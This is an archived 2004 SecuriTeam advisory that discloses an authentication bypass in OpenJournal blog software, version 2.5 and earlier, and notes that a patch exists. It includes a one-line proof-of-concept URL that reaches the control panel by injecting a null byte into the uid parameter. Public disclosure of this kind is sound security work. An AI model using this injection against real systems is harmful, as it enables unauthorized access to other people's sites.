

[EXPL] Open Journal Blog Authentication Bypassing Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-02/0037.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 02/16/04

To: list@securiteam.com

Date: 16 Feb 2004 11:31:04 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Open Journal Blog Authentication Bypassing Vulnerability

SUMMARY

" <<http://www.grohol.com/downloads/oj/>> OpenJournal is a completely Web-based interface (say bye-bye to FTP, manual archiving, etc.). Features include: automated file creation; automated index updating; editing of all files through a Web-based interface; entries with or without titles and time posted; automated archiving based on a weekly or monthly format. All done through ordinary text files and no additional perl modules needed to run it."

A vulnerability exists in OpenJournal which allows bypassing the authentication scheme.

DETAILS

Vulnerable Systems:

* OpenJournal version 2.5 or prior

Immune Systems:

* OpenJournal version 2.6

Securiteam: [EXPL] Open Journal Blog Authentication Bypassing Vulnerability

The vulnerability stems from a problem in handling the uid parameter of the URL. The following example can be used to directly access the control panel:

<http://www.test.com/cgi-bin/oj.cgi?db=default&uid=%00&userid=hacker&auth=adduser>

Patch Availability:

A patch is already available on the web site which fixes this issue.

ADDITIONAL INFORMATION

The information has been provided by <mailto:trihuynh@zeeup.com> Tri Huynh.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.